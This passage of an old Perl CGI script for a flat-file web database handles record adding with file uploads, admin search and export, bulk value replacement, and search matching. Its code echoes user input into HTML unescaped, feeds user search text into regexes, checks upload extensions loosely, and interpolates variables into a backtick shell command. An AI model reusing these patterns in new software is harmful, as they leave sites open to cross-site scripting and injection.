  2177. #******END BODYTAG SUBROUTINE
  2178.  
  2179. #********BEGIN ADD SUBROUTINE**************
  2180. sub add {
  2181.   &checkpass if $useradd!=1;
  2182.   &language;
  2183.   open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  2184.   @fieldsData=<FIELDS>;
  2185.   close FIELDS;
  2186.   foreach (@fieldsData) {
  2187.     ($field,$type)=split(/::/);
  2188.     push(@fields,"$field\n");
  2189.     push(@types,"$type");
  2190.   };
  2191.   @value=();
  2192.   $body="The following record has been added to the $cgilocation database.\n\n";
  2193.   $value[0]=time();
  2194.   $fcount=1;
  2195.   chomp(@fields);
  2196.   shift(@fields);
  2197.   $missingReqs=0;
  2198.   $isEmpty=1;
  2199.   foreach $fname (@fields) {
  2200.     $value[$fcount]=$user_data{$fname};
  2201.     $reqnum=$fcount-1;
  2202.     if ((length($user_data{$fname})==0)&&($reqfields=~/(^|\,)$reqnum($|\,)/)) {
  2203.       $reqerror.="<B>$fname</B> is a required field.<P>";
  2204.       $missingReqs=1;
  2205.     }
  2206.     if (length($user_data{$fname})>0) {$isEmpty=0};
  2207.     $body.="$fname\: $user_data{$fname}\n";
  2208.     &gettype($types[$fcount]);
  2209.     #UPLOAD IF IT IS AN UPLOAD FIELD
  2210.     if (($type eq "upload")&&(length($user_data{$fname})>0)&&(!$missingReqs)) {
  2211.       if ($user_data{$fname}=~/([^\\\/\:]+$)/) {$INfilename=lc($1)};
  2212.       $INfilename=~s/[^a-zA-Z0-9\_\.]//g;
  2213.       if ($INfilename=~/\.([a-zA-Z0-9]+)$/) {$extension=$1};
  2214.       if ($typeexts!~/,*${extension},*/i) {
  2215.     &error("Only the following filetypes are allowed. $typeexts");
  2216.       }
  2217.       $OUTfilename="${value[0]}_${fname}_${INfilename}";
  2218.       $value[$fcount]="${uploadsURL}$OUTfilename";
  2219.       $uploadsize=0;
  2220.       @filecontents=();
  2221.       while ($bytesread=read($user_data{$fname},$buffer,1024)) {
  2222.     $uploadsize+=length($buffer);
  2223.     push(@filecontents,$buffer);
  2224.       }
  2225.       
  2226.       if ($uploadsize>$typesize*1000) {
  2227.     &error("upload size = $uploadsize bytes.<P>The upload can only be a maximum of ${typesize}KB")
  2228.       };
  2229.       open (OUTFILE,">${uploadsdir}${OUTfilename}") or &error("Could not open ${uploadsdir}$OUTfilename for writing");
  2230.       binmode(OUTFILE);
  2231.       print OUTFILE (@filecontents);
  2232.       close OUTFILE;
  2233.       close ($user_data{$fname});
  2234.     }
  2235.     
  2236.     #END UPLOAD
  2237.     $fcount++;
  2238.   };
  2239.   
  2240.   if ($isEmpty) {$reqerror.="No data was submitted<P>"};
  2241.   if (($missingReqs)||($isEmpty)) {
  2242.     &bodytag;
  2243.     print "Your record was not added for the following reasons:<P>\n";
  2244.     print "$reqerror";
  2245.     print qq(<A HREF="javascript:history.go(-1)">Return to previous page</A>);
  2246.     exit;
  2247.   }
  2248.  
  2249.   #pop(@value);  #** Remove cgifunction from @value array **
  2250.   #if ($user_data{pagenum}>0) {pop(@value)}; #** remove pagenum from @value array
  2251.   foreach (@value) {
  2252.     $_=~s/\r/\n/g;
  2253.     $_=~s/\n\n/\n/g;
  2254.     $_=~s/\n/<BR>/g;
  2255.   };
  2256.   print "
  2257. <HEAD><TITLE>Webdata Entry Added</TITLE></HEAD>";
  2258.   &bodytag;
  2259.   
  2260.   #******* Remove delimiter characters and leading spaces*********
  2261.   foreach $item (@value) {
  2262.     $item=~s/^( *)//ge;   # remove leading spaces from entries
  2263.     $item=~s/:/':'/ge;  # replace delimiting character from entries
  2264.   };
  2265.   
  2266.   #****Check to see if entry is already used****
  2267.   &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  2268.   open(READLOG,"<$logfile");
  2269.   @entries = <READLOG>;
  2270.   close READLOG;
  2271.   &removelock; #remove lock file
  2272.   $unique="true";
  2273.   $line = $entries[$#entries];
  2274.   @data = split(/::/,$line);
  2275.   shift(@data);
  2276.   pop(@data);
  2277.   $comp1=join('::',@data);
  2278.   @data=@value;
  2279.   shift(@data);
  2280.   $comp2=join('::',@data);
  2281.   if ($comp1 eq $comp2) {
  2282.     $unique="false";
  2283.   };
  2284.   
  2285.   
  2286.   #********Add values to $logfile file*******************
  2287.   if($unique eq "true") {
  2288.     &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  2289.     push(@value,"admin");
  2290.     open(LOGFILE,">>$logfile") or &error("Could not open $logfile");
  2291.     $line=join("::",@value);
  2292.     print LOGFILE ("$line\n");
  2293.     close(LOGFILE);
  2294.     &removelock; #remove lock file.
  2295.     print "$addresponse</H1><P>";
  2296.   } else {
  2297.     print "<font color=\"red\">";
  2298.     print "That entry matches the previous entry exactly. It is probably a duplicate entry.  Submission cancelled.</h1></font>";
  2299.   };
  2300.   
  2301.   #****RETURN TO MAINTENANCE SCREEN****
  2302.   print "<A HREF=\"javascript:history.go(-1)\">
  2303. $returntoprevious</h1></A>
  2304. ";
  2305.   if (length($email)>0) {
  2306.     if ($^O=~/win/i) {
  2307.       open (MAIL,">${uploadsdir}mail.txt");
  2308.       print MAIL ("$body\n");
  2309.       close MAIL;
  2310.       $tmp=`$sendmail ${uploadsdir}mail.txt -s \"New Record Added to Database\" -t $email -q`;
  2311.     } else {
  2312.       open (MAIL,"|$sendmail -t") or &error("Could not open $sendmail");
  2313.       print MAIL ("To: $email\nFrom: $email\n");
  2314.       print MAIL ("Subject:New Record Added to Database\n$body\n");
  2315.       close MAIL;
  2316.     }
  2317.   }
  2318. };
  2319. #*********END ADD SUBROUTINE********************
  2320.  
  2321.  
  2322.  
  2323. #**********BEGIN SEARCH SUBROUTINE******************
  2324. sub adminsearch {
  2325. &memberpass;
  2326. print "
  2327. <HEAD><TITLE>Webdata Admin Search</TITLE></HEAD>
  2328. <SCRIPT>
  2329.    function modify(sym) {
  2330.        document.form1.part.value=sym\;                
  2331.        document.form1.submit()\;
  2332.    }
  2333.  
  2334. function goadmin() {
  2335. document.form1.cgifunction.value=\"";
  2336. if ($userid eq "admin") {
  2337.     print "admin";
  2338. } else {
  2339.     print "memberpage"
  2340. };
  2341. print "\"\;
  2342. document.form1.submit()\;
  2343. }
  2344.  
  2345. function deleteset() {
  2346.     msg=\'This will permanently delete all of\\n\'+
  2347.     \'the records found in your search.  Are you\\n\'+
  2348.     \'sure that you want to do this?\'\;
  2349.     if (confirm(msg)) {
  2350.         document.form1.cgifunction.value=\"deleteset\"\;
  2351.         document.form1.submit()\;
  2352.     }\;
  2353. }
  2354.  
  2355. function exportset(f) {
  2356.         document.form1.cgifunction.value=\"exportset\"\;
  2357.         document.form1.delimiter.value=f.delimiter.options[f.delimiter.selectedIndex].text\;
  2358.         if (f.includeID.checked) {
  2359.             document.form1.includeID.value=1;
  2360.         } else {
  2361.             document.form1.includeID.value=0;
  2362.         }
  2363.         document.form1.submit()\;
  2364. }
  2365.  
  2366. function replace(f) {
  2367.         document.form1.cgifunction.value=\"replace\";
  2368.         rf=f.replace_field.options[f.replace_field.selectedIndex].text;
  2369.         rv=f.replace_val.value;
  2370.         document.form1.replace_field.value=rf;
  2371.         document.form1.replace_val.value=rv;
  2372.         message=\'This will delete all of the \"\'+rf+\'\" values \'+
  2373.                 \'in the found set of records. Are you sure you want to do this?\';
  2374.         if (confirm(message)) {document.form1.submit()};
  2375. }
  2376.  
  2377. function deleteSelected(f) {
  2378.         document.form1.selectedset.value=\"\"\;
  2379.         for(i=0\;i<f.elements.length\;i++) {
  2380.                if (f.elements[i].checked) {
  2381.                        document.form1.selectedset.value+=\"\"+f.elements[i].value+\"\:\"\;
  2382.                }
  2383.         }
  2384. }
  2385.  
  2386. function deleteSelected2() {
  2387.     msg=\'This will permanently delete all of\\n\'+
  2388.     \'the records selected with checkboxes.  Are you\\n\'+
  2389.     \'sure that you want to do this?\'\;
  2390.     if (confirm(msg)) {
  2391.                 document.form1.foundset.value=document.form1.selectedset.value;
  2392.                 if (document.form1.foundset.value != document.form1.selectedset.value) {
  2393.                         alert(\'There was a JavaScript error. Delete failed.\')\;
  2394.                         return\;
  2395.                 }
  2396.         document.form1.cgifunction.value=\"deleteset\"\;
  2397.         document.form1.submit()\;
  2398.     }\;
  2399.         
  2400. }
  2401. </SCRIPT>\n
  2402.  
  2403. <H1 ALIGN=CENTER>Administration Search Page</H1>
  2404. ";
  2405.  
  2406. &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  2407. open(LOGFILE,"<$logfile") or &error("Could not open $logfile");
  2408. @entries = <LOGFILE>;
  2409. close (LOGFILE);
  2410. chomp(@entries);
  2411. &removelock; #remove lock file
  2412. print "<BODY BGCOLOR=\"BEIGE\">\n";
  2413. print "<FORM NAME=\"results\"><TABLE BORDER=1 bgcolor=\"white\">\n"; 
  2414. open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  2415. @fieldsData=<FIELDS>;
  2416. close FIELDS;
  2417. foreach (@fieldsData) {
  2418.     ($field,$type)=split(/::/);
  2419.     push(@fields,"$field\n");
  2420.     push(@types,"$type");
  2421. };
  2422. $fcount=1;
  2423. @value=();
  2424. shift(@fields);
  2425. @fieldnames=@fields;
  2426. chomp(@fieldnames);
  2427. foreach (@fields) {
  2428.     chop($_) if (/\n$/);
  2429.     $value[$fcount]=$user_data{$_};
  2430.     $fcount++;
  2431. };
  2432. if ($userid ne "admin") {push(@value,"^$userid\$")};
  2433. shift(@value);
  2434. unshift(@value,$user_data{date_created});
  2435. $header= "<TR><TH><FONT SIZE=-2>Delete</TH><TH><FONT SIZE=-2>Date<BR>Created</TH>";
  2436. if ($limitAdminColumns!=1) { 
  2437.   foreach $field (@fields) {
  2438.       $header .= "<TH>$field</TH>";
  2439.   };
  2440. } else {
  2441.   foreach (@sequence) {
  2442.       $header .= "<TH>$fields[$_]</TH>";
  2443.   };
  2444. };
  2445. print  "$header\n";
  2446.  
  2447. #***** BEGIN STEPPING THROUGH ALL THE DATA LINES*****
  2448. #***** PARSE THE DATA *****************
  2449. foreach $line (@entries) {
  2450.   @fields = split(/::/,$line);
  2451.     $ID = shift(@fields);
  2452.     $dateCreated=&getDate($ID);
  2453.         unshift(@fields,$dateCreated);
  2454.     # *** IF LINE MATCHES PATTERN ***********
  2455.     $display="true";
  2456.     $numPairs=@fields;
  2457.         if (length($user_data{record_owned_by})) {
  2458.           $display="false" if $fields[$#_] ne $user_data{record_owned_by};
  2459.         }
  2460.     for ($i=0;$i<$numPairs;$i++) {
  2461.       next unless $value[$i];      
  2462.       if ($value[$i]=~/[0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]+/) {
  2463.       $_=$value[$i];
  2464.         @temp=m/([0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]+)/g;
  2465.         $temp[0]=&datetonum($temp[0]);
  2466.         $temp[1]=&datetonum($temp[1]);
  2467.         if (/^([><=]+)/) {$temp3=$1};
  2468.         $criteria=$temp3.$temp[0];
  2469.         if (/^between/i) {$criteria="between $temp[0] and $temp[1]"};
  2470.         if ($fields[$i]=~/[0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]+/) {
  2471.           $dataval=&datetonum($fields[$i]);
  2472.               } else {
  2473.           $display="false";
  2474.               };
  2475.           } else {
  2476.       $dataval=$fields[$i];
  2477.         $criteria=$value[$i];
  2478.           };
  2479.     $_=$dataval;
  2480.       $criteria=~s/ or /\|/gi;
  2481.       if ($criteria=~/^(\"|\').*($1)$/) {
  2482.     $criteria=~s/^./\^/;
  2483.     $criteria=~s/.$/\$/;
  2484.       }
  2485.       if ($criteria=~/^\*.*\*$/) {
  2486.     $criteria=~s/^\*//;
  2487.     $criteria=~s/\*$//;
  2488.       }
  2489.       if ($criteria=~/\*$/) {
  2490.     $criteria="^".$criteria;
  2491.     $criteria=~s/\*$//;
  2492.       }
  2493.       if ($criteria=~/^\*/) {
  2494.     $criteria.="\$";
  2495.     $criteria=~s/^\*//;
  2496.       }
  2497.       #remove currency and commas
  2498.       if (/^[\d\ú\$\,\.]+$/) {
  2499.     $_=~s/[\ú\$\,]//g;
  2500.     $criteria=~s/[\ú\$\,]//g unless $criteria=~/\$$/;
  2501.       }
  2502.       if ($criteria!~/^\/.*\/$/) { #escape regexp characters unless criteria has / /
  2503.     $criteria=~s/([\*\+\?\.\/\(\)])/\\$1/g;
  2504.       } else {
  2505.     $criteria=~s/^\///;
  2506.     $criteria=~s/\/$//;
  2507.       }
  2508.  
  2509.     $firstchar=substr($criteria,0,1);
  2510.     $combo="false";
  2511.     if (!((/$criteria/i)||($criteria eq "")||
  2512.           ($firstchar eq '<')||($firstchar eq '>')||
  2513.           ($criteria=~/ and /i))) {
  2514.       $display="false";
  2515.           };
  2516.     
  2517.     if ((substr($criteria,0,2) eq '<=')&&($_ > substr($criteria,2,99))) {
  2518.       $combo="true";
  2519.       $display="false";
  2520.     };
  2521.       if ((substr($criteria,0,2) eq '>=')&&($_ < substr($criteria,2,99))) {
  2522.         $combo="true";
  2523.         $display="false";
  2524.       };
  2525.       
  2526.       if (($combo ne "true")&&(substr($criteria,1,1) ne '=')) {
  2527.         if ((substr($criteria,0,1) eq '<')&&($_ >= substr($criteria,1,99))) {
  2528.           $display="false";
  2529.         };
  2530.         if ((substr($criteria,0,1) eq '>')&&($_ <= substr($criteria,1,99))) {
  2531.           $display="false";
  2532.         };
  2533.         
  2534.         if ($criteria=~/^between.* and /i) {
  2535.           $andpos = index($criteria,'and');
  2536.           if ($andpos<8) {$display="false";};
  2537.           $val1 = substr($criteria,7,$andpos);
  2538.           $val2 = substr($criteria,$andpos+4,99);
  2539.           if (($_<$val1)||($_>$val2)) {
  2540.         $display="false";
  2541.           };
  2542.         };
  2543.         if (($criteria=~/ and /i)&&(!($criteria=~/^between/i))) {
  2544.           @cdata=split(/ and /i,$criteria);
  2545.           foreach $citem (@cdata) {
  2546.         if(!(/$citem/i)) {$display="false";};
  2547.           };
  2548.         };
  2549.       };
  2550.     };
  2551.   #***** DISPLAY THE LINE ****************
  2552.   shift(@fields);
  2553.   if (!$user_data{pagenum}) {
  2554.     $user_data{pagenum}=1;
  2555.     $querystring=~s/cgifunction/pagenum=1\&cgifunction/;
  2556.   };
  2557.   $pagenum=$user_data{pagenum};
  2558.   $min=($pagenum-1)*20;
  2559.   $max=$pagenum*20;
  2560.   if ($display eq "true") {
  2561.     $count++;
  2562.     if (($count>$min)&&($count<=$max)) {
  2563.       print "\n<TR>";
  2564.       print "<TD><INPUT TYPE=CHECKBOX VALUE=\'$ID\' onClick=\"deleteSelected(form)\"></TD>";
  2565.       print "<TD><A HREF=\"javascript:modify(\'$ID\')\">$dateCreated</A></TD>";
  2566.       if ($limitAdminColumns!=1) {
  2567.     foreach $n (@fields) {
  2568.       print "<TD><A HREF=\"javascript:modify(\'$ID\')\">";
  2569.       if ($n eq "") {$n = ' </A>';};
  2570.       $n=~s/[\r\n]/<BR>/g;
  2571.       print "$n</A></TD>";
  2572.     };
  2573.       } else {
  2574.     foreach (@sequence) {
  2575.       $n=$fields[$_];
  2576.       print "<TD><A HREF=\"javascript:modify(\'$ID\')\">";
  2577.       if ($n eq "") {$n = ' </A>';};
  2578.       $n=~s/[\r\n]/<BR>/g;
  2579.       print "$n</A></TD>";
  2580.     };
  2581.       };
  2582.     };
  2583.     push(@foundset,$ID);
  2584.   };
  2585.   print "</TR>";
  2586. };
  2587.  
  2588. print "\n</table></FORM>\n";
  2589.  
  2590. $foundsetstring=join(':',@foundset);
  2591. print "<form name=\"form1\" action=\"$cgilocation\" method=post>\n";
  2592. print "<input name=\"part\" type=hidden>\n";
  2593. print "<input name=\"password\" type=hidden>\n";
  2594. print "<input name=\"cgifunction\" type=hidden value=\"maintenance\">\n";
  2595. print "<input name=\"foundset\" type=hidden value=\"$foundsetstring\">\n";
  2596. print "<input name=\"selectedset\" type=hidden>\n";
  2597. print "<input name=\"delimiter\" type=hidden>\n";
  2598. print "<input name=\"includeID\" type=hidden>\n";
  2599. print "<input name=\"replace_field\" type=hidden>\n";
  2600. print "<input name=\"replace_val\" type=hidden>\n";
  2601.  
  2602. print "</form>\n";
  2603. if ($count>0) {
  2604. print "<h2>Click on an entry to modify it. </h2>
  2605. <form>
  2606. <input type=button value=\"Delete Only Selected Records\"
  2607.   onClick=\"deleteSelected2()\"> 
  2608.  
  2609. <input type=button value=\"Delete All $count Found Records\"
  2610. onClick=\"deleteset()\"><HR>
  2611.  
  2612. <B>EXPORT:</B> <BR> Export all $count records to browser as a 
  2613. <SELECT NAME=\"delimiter\"><OPTION>comma<OPTION>tab<OPTION>pipe</SELECT>
  2614. delimited file. <BR>
  2615. Include ID, Date, and Owner (leave unchecked to import the data later)?
  2616. <INPUT TYPE=\"checkbox\" NAME=\"includeID\" CHECKED> \ \;
  2617. <input type=button value=\"Export\" onClick=\"exportset(form)\"><BR>
  2618. <I>This will create a plain text file. Choose <B>Save-As</B> from the <B>File</B> menu to save.</I><HR>
  2619. <B>REPLACE VALUES:</B> <BR>In the $count found records only, replace the contents of
  2620. <SELECT NAME=\"replace_field\">\n";
  2621. foreach (@fieldnames) {print "<OPTION>$_</OPTION>\n"};
  2622. print " </SELECT>\nwith <INPUT TYPE=TEXT SIZE=20 VALUE=\"\" NAME=\"replace_val\"> 
  2623. <INPUT TYPE=button VALUE=\"Replace Values\" onClick=\"replace(form)\"><BR>
  2624. <I>You may use <B>\$data[#]</B> to insert values of other fields. <BR>See the instructions for
  2625. using <B>templates</B> on the \"Customize Pages\" screen for details</I><HR>
  2626. </form>
  2627. ";
  2628.  
  2629. #BEGIN NEXT/PREV BUTTONS
  2630. $min++;
  2631.  
  2632. if ($max>$count) {$max=$count};
  2633. print "
  2634. <B>Results $min - $max of $count</B> 
  2635. <table border=0 cellspacing=10 cellpadding=0><TR><TD>
  2636. ";
  2637. if ($min>1) {print "
  2638.  
  2639. <FORM ACTION=\"$cgilocation\" METHOD=POST>
  2640. <INPUT TYPE=HIDDEN NAME=\"query\" VALUE=\"$querystring\">
  2641. <INPUT TYPE=HIDDEN NAME=\"pagenum\" VALUE=\"$pagenum\">
  2642. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" value=\"Previous Page\">
  2643. </FORM>
  2644. "};
  2645. if ($max<$count) {print "
  2646. <TD>
  2647. <FORM ACTION=\"$cgilocation\" METHOD=POST>
  2648. <INPUT TYPE=HIDDEN NAME=\"query\" VALUE=\"$querystring\">
  2649. <INPUT TYPE=HIDDEN NAME=\"pagenum\" VALUE=\"$pagenum\">
  2650. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" value=\"Next Page\">
  2651. </FORM>
  2652. "};
  2653. print "</table>";
  2654. #END NEXT/PREV BUTTONS
  2655. } else {
  2656.   print "<B>No records were found</B><P>";
  2657. };
  2658. #CREATE LINKS TO ANY PAGENUMBER
  2659. print "<BR>Go to page\:";  
  2660. $numpages=int($count/20);
  2661. $myquery=$querystring;
  2662. if ($count/20>$numpages) {$numpages++;};
  2663. for ($i=1;$i<=$numpages;$i++) {
  2664.     $myquery=~s/pagenum=[0-9]*/pagenum=$i/;
  2665.     print "<A HREF=\"$cgilocation\?$myquery\">$i</A> ";
  2666. };
  2667.  
  2668. print "<BR><A HREF=\"javascript:goadmin()\">Return to Administration Page</A>\n";
  2669.  
  2670. print "<P><A HREF=\"$homepage\">
  2671. Return to home page</A>\n";
  2672. };
  2673.  
  2674. #*********END OF ADMINSEARCH SUBROUTINE************
  2675.  
  2676. #*********BEGIN REPLACE SUBROUTINE*****************
  2677. sub replace {
  2678.   &memberpass;
  2679.   &putlock;
  2680.   open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  2681.   @fieldsData=<FIELDS>;
  2682.   close FIELDS;
  2683.   my $fcount=0;
  2684.   foreach (@fieldsData) {
  2685.     ($field,$type)=split(/::/);
  2686.     push(@fields,"$field\n");
  2687.     push(@types,"$type");
  2688.     if ($field eq $user_data{replace_field}) {
  2689.       $fieldNum=$fcount;
  2690.       last;
  2691.     }
  2692.     $fcount++;
  2693.   };
  2694.   chomp(@fields);
  2695.   open(FILE,"<$logfile") or &error("Could not open $logfile");
  2696.   @lines=<FILE>;
  2697.   close FILE;
  2698.   chomp(@lines);
  2699.   
  2700.   foreach (@lines) {
  2701.     @data=split('::');
  2702.     next unless $user_data{foundset}=~/(^|:)$data[0](:|$)/;
  2703.     next unless ($data[$#data] eq $userid) or ($userid eq "admin");
  2704.     $replace_val=$user_data{replace_val};
  2705.     $replace_val=~s/\$data\[(\d+)\]/$data[$1+1]/g;
  2706.     $replace_val=~s/\$escape\[([0-9]+)\]/&escape($data[$1+1])/ge;
  2707.     $replace_val=~s/\$fields\[([0-9]+)\]/$fields[$1+1]/g;
  2708.     $replace_val=~s/\$id/$data[0]/g;
  2709.     $replace_val=~s/\$datecreated/&getDate($data[0])/ge;
  2710.     $replace_val=~s/\$membername/$data[$#data]/g;
  2711.     $data[$fieldNum]=$replace_val;
  2712.     $_=join('::',@data);
  2713.     $count++;                          
  2714.   }
  2715.  
  2716.   open(FILE,">$logfile") or &error("Could not open $logfile");
  2717.     foreach (@lines) {
  2718.       print FILE "$_\n";
  2719.     }
  2720.   close FILE;
  2721.   &removelock;
  2722.   print qq(
  2723. <SCRIPT>
  2724. alert('$count replacements made');
  2725. </SCRIPT>
  2726.   );
  2727.   if ($userid eq "admin") {
  2728.     &admin;
  2729.   } else {
  2730.     &memberpage;
  2731.   }
  2732. }
  2733. #*********END REPLACE SUBROUTINE*******************
  2734.  
  2735. #*********BEGIN ISMATCH ROUTINE*****************
  2736. sub isMatch {
  2737.   # *** IF LINE MATCHES PATTERN ***********
  2738.   my $display="true";
  2739.   my @data=(@_);
  2740.   my $id=$data[0];
  2741.   my $dataval,$criteria;
  2742.   shift(@data); #**Remove hidden key from view**
  2743.   my $owner=pop(@data); #**Remove membername from view**
  2744.   chomp($owner);
  2745.   if (($limitMemberSearch)&&($owner ne $userid)) {
  2746.     return 0;
  2747.   }
  2748.   
  2749.   my $numPairs=@fields;
  2750.   $numPairs=1 if ($searchbox)&&(exists($user_data{all_search}));
  2751.   for (my $i=0;$i<$numPairs;$i++) {
  2752.     unless ($user_data{all_search}) {next unless $value[$i]};  
  2753.     if ($value[$i]=~/[0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]+/) {
  2754.       $_=$value[$i];
  2755.       my @temp=m/([0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]+)/g;
  2756.       $temp[0]=&datetonum($temp[0]);
  2757.       $temp[1]=&datetonum($temp[1]);
  2758.       if (/^([><=]+)/) {$temp3=$1};
  2759.       $criteria=$temp3.$temp[0];
  2760.       if (/^between/i) {$criteria="between $temp[0] and $temp[1]"};
  2761.       if ($data[$i]=~/[0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]+/) {
  2762.     $dataval=&datetonum($data[$i]);
  2763.       } else {
  2764.     return 0;
  2765.       };
  2766.     } else {
  2767.       $dataval=$data[$i];
  2768.       $criteria=$value[$i];
  2769.     };
  2770.     
  2771.     $_=$dataval;
  2772.     #*** BEGIN SINGLE BOX ***
  2773.     if (($searchbox)&&(exists($user_data{all_search}))) {
  2774.       $_=join('::',@data);
  2775.       $criteria=$user_data{all_search};
  2776.       if (!exists($user_data{allany})) {
  2777.     $user_data{allany}=" and ";
  2778.       }
  2779.       $criteria=~s/ /$user_data{allany}/g;
  2780.     }
  2781.     
  2782.     #*** END SINGLE BOX 
  2783.     $criteria=~s/ or /\|/gi;
  2784.     if ($criteria=~/^(\"|\').*($1)$/) {
  2785.       $criteria=~s/^./\^/;
  2786.       $criteria=~s/.$/\$/;
  2787.     }
  2788.     if ($criteria=~/^\*.*\*$/) {
  2789.       $criteria=~s/^\*//;
  2790.       $criteria=~s/\*$//;
  2791.     }
  2792.     if ($criteria=~/\*$/) {
  2793.       $criteria="^".$criteria;
  2794.       $criteria=~s/\*$//;
  2795.     }
  2796.     if ($criteria=~/^\*/) {
  2797.       $criteria.="\$";
  2798.       $criteria=~s/^\*//;
  2799.     }
  2800.     #remove currency and commas
  2801.     if (/^[\d\ú\$\,\.]+$/) {
  2802.       $_=~s/[\ú\$\,]//g;
  2803.       $criteria=~s/[\ú\$\,]//g unless $criteria=~/\$$/;
  2804.     }
  2805.     if ($criteria!~/^\/.*\/$/) { #escape regexp characters unless criteria has / /
  2806.       $criteria=~s/([\*\+\?\.\/\(\)])/\\$1/g;
  2807.     } else {
  2808.       $criteria=~s/^\///;
  2809.       $criteria=~s/\/$//;
  2810.     }
  2811.     
  2812.     my $firstchar=substr($criteria,0,1);
  2813.     my $combo="false";
  2814.     if (!((/$criteria/i)||($criteria eq "")||
  2815.       ($firstchar eq '<')||($firstchar eq '>')||
  2816.       ($criteria=~/ and /i))) {
  2817.       return 0;
  2818.     };
  2819.     
  2820.     if ((substr($criteria,0,2) eq '<=')&&($_ > substr($criteria,2,99))) {
  2821.       $combo="true";
  2822.       return 0;
  2823.     };
  2824.     if ((substr($criteria,0,2) eq '>=')&&($_ <  substr($criteria,2,99))) {
  2825.       $combo="true";
  2826.       return 0;
  2827.     };
  2828.     
  2829.     if (($combo ne "true")&&(substr($criteria,1,1) ne '=')) {
  2830.       if ((substr($criteria,0,1) eq '<')&&($_ >= substr($criteria,1,99))) {
  2831.     return 0;
  2832.       };
  2833.       if ((substr($criteria,0,1) eq '>')&&($_ <= substr($criteria,1,99))) {
  2834.     return 0;
  2835.       };
  2836.       
  2837.       if ($criteria=~/^between.* and /i) {
  2838.     my $andpos = index($criteria,'and');
  2839.     if ($andpos<8) {return 0;};
  2840.     my $val1 = substr($criteria,7,$andpos);
  2841.     my $val2 = substr($criteria,$andpos+4,99);
  2842.     if (($_<$val1)||($_>$val2)) {
  2843.       return 0;
  2844.     };
  2845.       };
  2846.       if (($criteria=~/ and /i)&&(!($criteria=~/^between/i))) {
  2847.     my @cdata=split(/ and /i,$criteria);
  2848.     foreach $citem (@cdata) {
  2849.       if(!(/$citem/i)) {return 0;};
  2850.     };
  2851.       };      
  2852.     };
  2853.   }; 
  2854.   return 1;
  2855. }
  2856. #*********END ISMATCH ROUTINE*****************
  2857.  
  2858. #*********BEGIN GETIF ROUTINE*****************
  2859. sub getIf {
  2860.   if ($_[0]=~/\(([^\)]*)\)[^\{]*\{([^\}]*)\}/) {
  2861.     my $condition=$1;
  2862.     my $text=$2;
  2863.     $condition=~s/\$data\[(\d+)\]/$data[$1]/g;
  2864.     if ($condition) {return "$text"} else {return ""};
  2865.   }
  2866. }
  2867. #*********END GETIF ROUTINE*****************
  2868.  
  2869. #**********BEGIN USERSEARCH SUBROUTINE******************
  2870. #*****Same as Search except the results****************
  2871. #*****Do not link to maintenance       ***************
  2872. #
  2873. sub usersearch {
  2874.   if ($usersearch!=1) {
  2875.     if ($membersCanSearch) {
  2876.       &memberpass;
  2877.     } else {
  2878.       &checkpass;
  2879.     };
  2880.   };
  2881.   
  2882.   &language;
  2883.   if ($usesql==1) {&sqlsearch;exit;}
  2884.   
  2885.   $alt=0;
  2886.   pop(@value);   #** Remove cgifunction from @value array **
  2887.   pop(@value);   #** Remove pagnum from @value array **
  2888.   shift(@value);  #remove ID from @value array **
  2889.   print "<HEAD><TITLE>Search Results page $user_data{pagenum}</TITLE></HEAD>";
  2890.   &wtcart::resultPageScript if $useCart;
  2891.   &bodytag;
  2892.   print "$reportHeader\n";
  2893.   #print and save search criteria
  2894.   while (($k,$v)=each(%user_data)) {
  2895.     if (($k!~/^(cgifunction|cgilanguage|pagenum|x|y|anyall|cgisort|cgisortorder)$/i)&&
  2896.     (length($v)>0)) {
  2897.       $usercriteria.="$k=$v ";
  2898.     };
  2899.   };
  2900.   if (length($searchlog)) {  
  2901.     unless (-e $searchlog) {&error("Could not locate $searchlog")};
  2902.     &putlock;
  2903.     open (SEARCHES,">>$searchlog") or &error("could not write to $searchlog. Check the file\'s permissions.");
  2904.     @t=(localtime(time()));$t[4]++;$t[5]+=1900;
  2905.     print SEARCHES ("$t[4]/$t[3]/$t[5] $t[2]:$t[1]:$t[0]\t");
  2906.     print SEARCHES ("$ENV{REMOTE_ADDR}\t");
  2907.     print SEARCHES ("$usercriteria\n");
  2908.     close SEARCHES;
  2909.     &removelock;
  2910.   }
  2911.   print "<BR><B>$usercriteria</B><BR>\n" if $showCriteria;
  2912.   if (!$user_data{pagenum}) {
  2913.     $user_data{pagenum}=1;
  2914.     $querystring=~s/cgifunction/pagenum=1\&cgifunction/;
  2915.   };
  2916.   $pagenum=$user_data{pagenum};
  2917.   if ($searchTemplateOn) {
  2918.     print "\n";
  2919.   } else {
  2920.     $cellpadding="";
  2921.     if ($hideBorder==1) {$Border=0; $cellpadding=" CELLPADDING=5 CELLSPACING=0 "} else {$Border=1};
  2922.     
  2923.     print "<TABLE $cellpadding BORDER=$Border bgcolor=\"white\">\n";
  2924.   }
  2925.   
  2926.   open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  2927.   @fieldsData=<FIELDS>;
  2928.   close FIELDS;
  2929.   foreach (@fieldsData) {
  2930.     ($field,$type)=split(/::/);
  2931.     push(@fields,"$field\n");
  2932.     push(@types,"$type");
  2933.   };
  2934.   shift(@fields);
  2935.   shift(@types);
  2936.   #POPULATE @VALUE INDEPENDENT OF SEQUENCE
  2937.   $fcount=0;
  2938.   foreach (@fields) {
  2939.     chop($_);
  2940.     $value[$fcount]=$user_data{$_};
  2941.     $fcount++;
  2942.   };
  2943.   
  2944.  
  2945.   #PARSE/SORT ROUTINE
  2946.   if ($user_data{cgisort}) {
  2947.     $reportSort=$user_data{cgisort};
  2948.     $reportOrder=$user_data{cgisortorder};
  2949.   }
  2950.   
  2951.   #...populate sorting array
  2952.   $sortcount=0;
  2953.   $textsort=0;
